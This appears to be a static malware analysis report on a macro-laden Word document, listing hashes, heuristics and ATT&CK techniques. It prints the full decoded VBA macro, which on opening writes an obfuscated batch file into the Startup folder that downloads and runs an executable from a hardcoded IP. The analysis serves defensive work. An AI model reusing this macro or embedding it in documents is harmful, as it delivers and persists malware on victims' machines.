Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d17dca6ddd1c8f9f…

MALICIOUS

Office (OOXML)

17.6 KB Created: 2021-10-07 13:22:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-14
MD5: 8a164314bdf411c04ebee2d8922204b5 SHA-1: 03537f689dd2e7728c480e831b54091072ae0ab9 SHA-256: d17dca6ddd1c8f9f2841fe78032b20e689598305745f71772e931d5a3b4e69fc
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document. This macro constructs a batch file in the user's startup directory. The batch file contains a command to download a file from the hardcoded URL 'http://192.168.1.11/pyclient.exe' into the temporary directory and then execute it. This indicates a downloader or initial access mechanism.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1266 bytes
SHA-256: 30575499a5ee7d108f633947b1d297f77cff7455f926d50fbd238464055c56c7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Dim pr As String
Dim us As String

us = Environ$("Username")

pr = "C:\\users\\" & us & "\\\AppDat" & "a\\Roaming\\Micros" & "oft\\Windows\\Start " & "Menu\\Programs\\Startup\\Word$Data$TEMPT" & "EMP$.b" & "at"
en = Environ$("TEMP")

Set oFile = fso.CreateTextFile(pr)
oFile.Write "c"
oFile.Write "u"
oFile.Write "r"
oFile.Write "l"
oFile.Write " "
oFile.Write "h"
oFile.Write "t"
oFile.Write "t"
oFile.Write "p"
oFile.Write ":"
oFile.Write "//"
oFile.Write "19"
oFile.Write "2"
oFile.Write ".16"
oFile.Write "8."
oFile.Write "1"
oFile.Write "."
oFile.Write "1"
oFile.Write "1"
oFile.Write "/"
oFile.WriteLine "pyclient" & ".e" & "xe" & " -o" & " " & en & "\\pyclient" & "" & " && " & en & "\pyclient" & ""
oFile.Close
Set fso = Nothing
Set oFile = Nothing
'VAR = Shell(pr, vbHide)
End Sub




Attribute VB_Name = "NewMacros"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 6cc91b15486661653b8c9f416171662bd96caf6ab2b04f426d7d6d9041eab850

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